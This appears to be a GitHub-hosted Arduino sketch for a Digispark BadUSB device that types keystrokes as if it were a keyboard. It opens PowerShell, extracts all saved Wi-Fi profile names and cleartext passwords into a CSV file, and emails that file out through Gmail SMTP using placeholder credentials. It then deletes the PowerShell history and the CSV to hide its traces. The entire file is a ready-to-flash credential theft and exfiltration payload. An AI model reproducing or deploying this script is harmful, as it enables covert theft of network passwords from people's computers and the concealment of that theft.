-
Notifications
You must be signed in to change notification settings - Fork 6
/
WifiPasswortMailer.ino
56 lines (53 loc) · 2.72 KB
/
WifiPasswortMailer.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <DigiKeyboard.h>
#include "DigiKeyboardDe.h"
void setup() {
}
void loop() {
DigiKeyboardDe.sendKeyStroke(0);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_A);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.print(F("netsh wlan show profiles | Select-String ':(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Schl"));
DigiKeyboard.sendKeyStroke(47);
DigiKeyboardDe.print(F("sselinhalt.*:(.+)$'| %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv;exit"));
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(3000);
DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_A);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.print(F("$Username = '<EMAIL_BENUTZERNAME>';$Password = '<EMAIL_PASSWORT>';$pass = ConvertTo-SecureString -AsPlainText $Password -Force;$SecureString = $pass;$MySecureCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecureString; $From = '<ABSENDER_EMAILADRESSE>';$To = '<EMPFÄNGER_EMAILADRESSE>';$Attachment = 'temp.csv';$Subject = 'Digispark Wlan';$Body = 'Wifi Passwörter im Anhang';$SMTPServer = 'smtp.gmail.com';$SMTPPort = '587';Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl -Credential $MySecureCreds -Attachments $Attachment;exit"));
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_A);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.print("cmd");
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(500);
DigiKeyboardDe.print(F("del temp.csv"));
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(100);
DigiKeyboardDe.print(F("exit"));
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
for (;;) {
/*empty*/
}
}